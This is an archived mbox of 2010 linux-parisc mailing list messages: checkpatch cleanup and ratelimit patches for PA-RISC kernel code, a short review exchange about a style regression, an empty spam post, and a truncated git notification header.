Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2670>

arch/parisc/include/asm/current.h:8: ERROR: "foo * bar" should be "foo *bar"
arch/parisc/include/asm/current.h:12: ERROR: trailing whitespace

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/include/asm/current.h |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/include/asm/current.h b/arch/parisc/include/asm/current.h
index 0fb9338..4cbf4ad 100644
--- a/arch/parisc/include/asm/current.h
+++ b/arch/parisc/include/asm/current.h
@@ -5,11 +5,11 @@
 
 struct task_struct;
 
-static inline struct task_struct * get_current(void)
+static inline struct task_struct *get_current(void)
 {
 	return current_thread_info()->task;
 }
- 
+
 #define current get_current()
 
 #endif /* !(_PARISC_CURRENT_H) */
-- 
1.7.0.90.g251a4


From - Thu Nov 08 21:05:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 32/66] arch/parisc/include/asm/parport.h: Checkpatch cleanup
Date: Sat, 27 Feb 2010 17:51:13 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <1267289508-31031-33-git-send-email-andrea.gelmini@gelma.net>
References: <1267289508-31031-1-git-send-email-andrea.gelmini@gelma.net>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1267289763 7015 80.91.229.12 (27 Feb 2010 16:56:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 27 Feb 2010 16:56:03 +0000 (UTC)
Cc: Andrea Gelmini <andrea.gelmini@gelma.net>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 27 17:55:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NlPxJ-0006cQ-FC
	for glpp-linux-parisc@lo.gmane.org; Sat, 27 Feb 2010 17:55:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030384Ab0B0QzG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 27 Feb 2010 11:55:06 -0500
Original-Received: from mail-bw0-f209.google.com ([209.85.218.209]:41119 "EHLO
	mail-bw0-f209.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1030378Ab0B0QzD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 27 Feb 2010 11:55:03 -0500
Original-Received: by mail-bw0-f209.google.com with SMTP id 1so331825bwz.21
        for <multiple recipients>; Sat, 27 Feb 2010 08:55:02 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:from:to:cc:subject
         :date:message-id:x-mailer:in-reply-to:references;
        bh=ZMHxe3q2etI6ICHQDY+kP4CAOzmne4qssNLw1JV/aoQ=;
        b=fDTjU8XHClz6NM3rqvABcoVJ/BVHNkdw96s8Uwi4P1t1EQ8J3/bqwpMRIcAvlnkwiN
         cWizbKl6876vaeiHJCOmlM+PsHoXh/Hlf/fCtPNF9EmEA2dLwIPCATY3gpW5M1Nab9I9
         i4T6oHobdl3WsOKzaa+o7gFJETVxpS+VgAkyo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        b=M8bZGxjtODVjCpwEgdKdG+1SWXgFGFPuVozpM9mO/zK0dhoMleXiDnk5vdSIR/inHP
         VLDc8EUGJ1rlCc8ESO3iLVaxEq3Xq+a05TM9NsIFrItwkvxNNUfYFi4SwH35hZUVSG5N
         +bmPIX57ZY/iRmQWfWSOPX/dq6wd4u9jCbx/c=
Original-Received: by 10.204.4.150 with SMTP id 22mr1367672bkr.192.1267289702209;
        Sat, 27 Feb 2010 08:55:02 -0800 (PST)
Original-Received: from localhost (net-93-145-196-35.t2.dsl.vodafone.it [93.145.196.35])
        by mx.google.com with ESMTPS id 14sm826608bwz.14.2010.02.27.08.55.00
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 27 Feb 2010 08:55:01 -0800 (PST)
X-Mailer: git-send-email 1.7.0.90.g251a4
In-Reply-To: <1267289508-31031-1-git-send-email-andrea.gelmini@gelma.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2671 gmane.linux.kernel:955254
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2671>

arch/parisc/include/asm/parport.h:1: ERROR: trailing whitespace
arch/parisc/include/asm/parport.h:11: WARNING: space prohibited between function name and open parenthesis '('

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/include/asm/parport.h |    5 ++---
 1 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/include/asm/parport.h b/arch/parisc/include/asm/parport.h
index 00d9cc3..5cbf98b 100644
--- a/arch/parisc/include/asm/parport.h
+++ b/arch/parisc/include/asm/parport.h
@@ -1,4 +1,4 @@
-/* 
+/*
  *
  * parport.h: ia32-compatible parport initialisation
  *
@@ -8,8 +8,7 @@
 #define _ASM_PARPORT_H 1
 
 
-static int __devinit parport_pc_find_nonpci_ports (int autoirq, int autodma)
-{
+static int __devinit parport_pc_find_nonpci_ports (int autoirq, int autodma) {
 	/* nothing ! */
 	return 0;
 }
-- 
1.7.0.90.g251a4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 32/66] arch/parisc/include/asm/parport.h: Checkpatch 
	cleanup
Date: Sat, 27 Feb 2010 23:18:18 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <7d01f9f01002271418j185821a3h447c89a43406254d@mail.gmail.com>
References: <1267289508-31031-1-git-send-email-andrea.gelmini@gelma.net>
	 <1267289508-31031-33-git-send-email-andrea.gelmini@gelma.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1267309115 3915 80.91.229.12 (27 Feb 2010 22:18:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 27 Feb 2010 22:18:35 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Andrea Gelmini <andrea.gelmini@gelma.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Feb 27 23:18:30 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1NlUzQ-0004cQ-Re
	for glk-linux-kernel-3@lo.gmane.org; Sat, 27 Feb 2010 23:18:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S936363Ab0B0WSW convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 27 Feb 2010 17:18:22 -0500
Original-Received: from mail-ew0-f220.google.com ([209.85.219.220]:44569 "EHLO
	mail-ew0-f220.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S936351Ab0B0WST convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 27 Feb 2010 17:18:19 -0500
Original-Received: by ewy20 with SMTP id 20so663664ewy.21
        for <multiple recipients>; Sat, 27 Feb 2010 14:18:18 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=7ECMbhrPlVoiuCip00dRPfFyyTgrZQfWo//UkAaPkis=;
        b=Jw/nfuvTsIy8zzC6CyAvt7eA7IDLsVQWivS99yKO2SQnpiKx9rNWLFV0e55GpZzuKF
         qkhO4N84QkHNIosBdci19cJEvT28iusUOUf+IHF8nr+HUXVfCWTpf/5Q4QoftibfRivI
         rv2YHwtBAQImpylhtVfJwygiUDcGQTagaFOMQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=PxC42zVrzQYq90++d8sLuH9ewm0A5G7iCS1cFt/I0bvzyin73JThPYffwaCNI3NaFK
         ipwqrFVBXZrhgJ4NDn8Kxk278jw0hJu98Jtgh2vTpMn01v81MbbohwWzNSg5k6NDIYv2
         oc5qixRdEknxlYptFwb/5tVkwN+tXj0HLT8Yc=
Original-Received: by 10.213.100.151 with SMTP id y23mr1659819ebn.78.1267309098046; 
	Sat, 27 Feb 2010 14:18:18 -0800 (PST)
In-Reply-To: <1267289508-31031-33-git-send-email-andrea.gelmini@gelma.net>
X-Google-Sender-Auth: 31a83ffd947d1036
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:955370 gmane.linux.ports.parisc:2672
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2672>

On Sat, Feb 27, 2010 at 5:51 PM, Andrea Gelmini
<andrea.gelmini@gelma.net> wrote:
> arch/parisc/include/asm/parport.h:1: ERROR: trailing whitespace
> arch/parisc/include/asm/parport.h:11: WARNING: space prohibited betwe=
en function name and open parenthesis '('
>
> Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
> ---
> =C2=A0arch/parisc/include/asm/parport.h | =C2=A0 =C2=A05 ++---
> =C2=A01 files changed, 2 insertions(+), 3 deletions(-)
>
> diff --git a/arch/parisc/include/asm/parport.h b/arch/parisc/include/=
asm/parport.h
> index 00d9cc3..5cbf98b 100644
> --- a/arch/parisc/include/asm/parport.h
> +++ b/arch/parisc/include/asm/parport.h

> @@ -8,8 +8,7 @@
> =C2=A0#define _ASM_PARPORT_H 1
>
>
> -static int __devinit parport_pc_find_nonpci_ports (int autoirq, int =
autodma)
> -{
> +static int __devinit parport_pc_find_nonpci_ports (int autoirq, int =
autodma) {

This looks very much in contradiction with CodingStyle, since
parport_pc_find_nonpci_ports() is a function, and it's not a fix for
the quoted "WARNING". I'm guessing this wasn't intended the way it is.

HTH

T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/

From - Thu Nov 08 21:05:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Akinobu Mita <akinobu.mita@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: use __ratelimit
Date: Sun, 28 Feb 2010 19:58:15 +0900
Lines: 53
Approved: news@gmane.org
Message-ID: <1267354697-6456-3-git-send-email-akinobu.mita@gmail.com>
References: <1267354697-6456-1-git-send-email-akinobu.mita@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1267354827 15112 80.91.229.12 (28 Feb 2010 11:00:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Feb 2010 11:00:27 +0000 (UTC)
Cc: Akinobu Mita <akinobu.mita@gmail.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Feb 28 12:00:21 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Nlgsn-0003ni-Dj
	for glk-linux-kernel-3@lo.gmane.org; Sun, 28 Feb 2010 12:00:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1031825Ab0B1K7u (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 28 Feb 2010 05:59:50 -0500
Original-Received: from mail-iw0-f182.google.com ([209.85.223.182]:51694 "EHLO
	mail-iw0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1031793Ab0B1K7F (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 28 Feb 2010 05:59:05 -0500
Original-Received: by mail-iw0-f182.google.com with SMTP id 12so1589776iwn.21
        for <multiple recipients>; Sun, 28 Feb 2010 02:59:04 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer:in-reply-to:references;
        bh=Ij/B91jgpnfzSrwMUIP9Oa+1Uh7eSDTlptshQrV9lIQ=;
        b=RQZlFdb/TxHZbCP82J0C4p0RuqIH88nzXKWRx/sc2XY+wRpNM2Gyf3x3k16Zdm0B2G
         rToTuA4hAEo59Jtesxwcxfh3yDziRATsBn3N5kdnsxOy4O6UprOYU8bX1Yi4bRhe+YHL
         mcdIrCU3yG+htOkB3p1rl9Ctuwumum6wASNqk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        b=WlRPYbIT1Iqqp43oSMQQ/ebRuzzoOWJheFBEUoHxcCgcK818NlPTr9wm4CS9JG1vbb
         KvcUs0TIs931iLzvoNuPULxZpA7tMP5SI+1pvoZeAZut2iN/9ReNsZxY162VE4+6vM73
         NkjqIcD38h0V0iFsAUROIqa/U+C3BHLsI8XdU=
Original-Received: by 10.231.151.207 with SMTP id d15mr1609187ibw.44.1267354744898;
        Sun, 28 Feb 2010 02:59:04 -0800 (PST)
Original-Received: from localhost (p12140-adsao01yokonib1-acca.kanagawa.ocn.ne.jp [61.199.6.140])
        by mx.google.com with ESMTPS id 22sm1924894iwn.8.2010.02.28.02.59.03
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 28 Feb 2010 02:59:04 -0800 (PST)
X-Mailer: git-send-email 1.6.0.6
In-Reply-To: <1267354697-6456-1-git-send-email-akinobu.mita@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:955465 gmane.linux.ports.parisc:2673
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2673>

Replace open-coded rate limiting logic with __ratelimit().

Signed-off-by: Akinobu Mita <akinobu.mita@gmail.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/unaligned.c |   14 ++++----------
 1 files changed, 4 insertions(+), 10 deletions(-)

diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unaligned.c
index e6f4b7a..92d977b 100644
--- a/arch/parisc/kernel/unaligned.c
+++ b/arch/parisc/kernel/unaligned.c
@@ -25,6 +25,7 @@
 #include <linux/module.h>
 #include <linux/sched.h>
 #include <linux/signal.h>
+#include <linux/ratelimit.h>
 #include <asm/uaccess.h>
 
 /* #define DEBUG_UNALIGNED 1 */
@@ -446,8 +447,7 @@ static int emulate_std(struct pt_regs *regs, int frreg, int flop)
 
 void handle_unaligned(struct pt_regs *regs)
 {
-	static unsigned long unaligned_count = 0;
-	static unsigned long last_time = 0;
+	static DEFINE_RATELIMIT_STATE(ratelimit, 5 * HZ, 5);
 	unsigned long newbase = R1(regs->iir)?regs->gr[R1(regs->iir)]:0;
 	int modify = 0;
 	int ret = ERR_NOTHANDLED;
@@ -460,14 +460,8 @@ void handle_unaligned(struct pt_regs *regs)
 			goto force_sigbus;
 		}
 
-		if (unaligned_count > 5 &&
-				time_after(jiffies, last_time + 5 * HZ)) {
-			unaligned_count = 0;
-			last_time = jiffies;
-		}
-
-		if (!(current->thread.flags & PARISC_UAC_NOPRINT) 
-		    && ++unaligned_count < 5) {
+		if (!(current->thread.flags & PARISC_UAC_NOPRINT) &&
+			__ratelimit(&ratelimit)) {
 			char buf[256];
 			sprintf(buf, "%s(%d): unaligned access to 0x" RFMT " at ip=0x" RFMT "\n",
 				current->comm, task_pid_nr(current), regs->ior, regs->iaoq[0]);
-- 
1.6.0.6


From - Thu Nov 08 21:05:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 32/66] arch/parisc/include/asm/parport.h: Checkpatch 
	cleanup
Date: Sun, 28 Feb 2010 14:54:26 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <9cdbb57f1002280554u2f06ce7g86cfef6eeb3abc0d@mail.gmail.com>
References: <1267289508-31031-1-git-send-email-andrea.gelmini@gelma.net>
	 <1267289508-31031-33-git-send-email-andrea.gelmini@gelma.net>
	 <7d01f9f01002271418j185821a3h447c89a43406254d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: dough.gmane.org 1267365276 12907 80.91.229.12 (28 Feb 2010 13:54:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Feb 2010 13:54:36 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 28 14:54:31 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NljbL-0001pE-91
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Feb 2010 14:54:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753977Ab0B1Nya (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Feb 2010 08:54:30 -0500
Original-Received: from fg-out-1718.google.com ([72.14.220.156]:36008 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753746Ab0B1Ny3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Feb 2010 08:54:29 -0500
Original-Received: by fg-out-1718.google.com with SMTP id 16so532442fgg.1
        for <multiple recipients>; Sun, 28 Feb 2010 05:54:28 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=cuoBqewvlJ5+MogtE/AU2lsuEuw+AmbjXK/nrRd+2eY=;
        b=Wm2150uaqbQIrlYHSkztk+7YdFbNTXfoOP9w/NpzbON2U7/CDQCt7OjbYYgRlj6b8P
         81i//SwaMrMh/7VVjxvY9Ap41vCRDqRMTyPQ7PFuHu/VYs2pZ8bvAoItRcQeYKeNz5vI
         mAlUNWwupyWUD7C0T2v2gKM7zixeAngqhNINw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=Uljoxx6g1OWF+j2r0w78cc2R3OfUfsFVq5FY3x9dMMuNdTvWpK6qfeg442U0/adov4
         sKcoBrs9yOqKWBNU4hDzkqTl2v0zebyxTgm5zmkN77a5pNT+P0AvDnk87u2ch8ESo4o9
         HQjxJvGFNxlYPakRa45mPCtluiNiSMGKvCkR0=
Original-Received: by 10.87.66.14 with SMTP id t14mr5188426fgk.60.1267365267572; Sun, 
	28 Feb 2010 05:54:27 -0800 (PST)
In-Reply-To: <7d01f9f01002271418j185821a3h447c89a43406254d@mail.gmail.com>
X-Google-Sender-Auth: 902715f160ef8a19
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2674 gmane.linux.kernel:955473
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2674>

2010/2/27 Thibaut VARENE <T-Bone@parisc-linux.org>:

Hi Thubaut,
   thanks a lot for you answer.

> This looks very much in contradiction with CodingStyle, since
> parport_pc_find_nonpci_ports() is a function, and it's not a fix for
> the quoted "WARNING". I'm guessing this wasn't intended the way it is.

My fault. I'll look at checkpatch.pl regexp to resolve false positive
(I've found a few other regressions).

Thanks again,
Andrea
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: use __ratelimit
Date: Mon, 1 Mar 2010 18:54:07 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20100301235407.GC12443@bombadil.infradead.org>
References: <1267354697-6456-1-git-send-email-akinobu.mita@gmail.com> <1267354697-6456-3-git-send-email-akinobu.mita@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1267487655 28246 80.91.229.12 (1 Mar 2010 23:54:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 1 Mar 2010 23:54:15 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Akinobu Mita <akinobu.mita@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 02 00:54:11 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NmFRC-0001C5-L3
	for glpp-linux-parisc@lo.gmane.org; Tue, 02 Mar 2010 00:54:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752877Ab0CAXyJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Mar 2010 18:54:09 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52284 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752879Ab0CAXyJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Mar 2010 18:54:09 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NmFR9-0000wH-7x; Mon, 01 Mar 2010 23:54:07 +0000
Content-Disposition: inline
In-Reply-To: <1267354697-6456-3-git-send-email-akinobu.mita@gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2675 gmane.linux.kernel:956062
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2675>

On Sun, Feb 28, 2010 at 07:58:15PM +0900, Akinobu Mita wrote:
> Replace open-coded rate limiting logic with __ratelimit().
> 

Thanks, I'll apply this.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Debbie z <facilemarinade@almaak.usc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: database of small to medium sized companies in the us
Date: Wed, 3 Mar 2010 13:33:02 +0900
Lines: 10
Approved: news@gmane.org
Message-ID: <45b20aea-46ef-408d-aeb5-f0ca4e041c32@SV01.sts.lan>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: dough.gmane.org 1267591852 24579 80.91.229.12 (3 Mar 2010 04:50:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 3 Mar 2010 04:50:52 +0000 (UTC)
To: <nessello@shu.edu>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 03 05:50:49 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NmgXk-0007l7-TG
	for glpp-linux-parisc@lo.gmane.org; Wed, 03 Mar 2010 05:50:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753717Ab0CCEuk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Mar 2010 23:50:40 -0500
Original-Received: from w250235.ppp.asahi-net.or.jp ([121.1.250.235]:62316 "EHLO
	SV01.sts.lan" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1754058Ab0CCEuk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Mar 2010 23:50:40 -0500
X-Greylist: delayed 343 seconds by postgrey-1.27 at vger.kernel.org; Tue, 02 Mar 2010 23:50:39 EST
Original-Received: from DM (117.66.193.202) by SV01.sts.lan (172.20.1.1) with Microsoft
 SMTP Server id 8.1.393.1; Wed, 3 Mar 2010 13:33:02 +0900
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2676
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2676>






--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/next
Date: Sat, 06 Mar 2010 22:58:37 +0000
Lines: 99
Approved: news@gmane.org
Message-ID: <201003062258.o26Mwb9x000577@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1267957520 957 80.91.229.12 (7 Mar 2010 10:25:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 7 Mar 2010 10:25:20 +0000 (UTC)
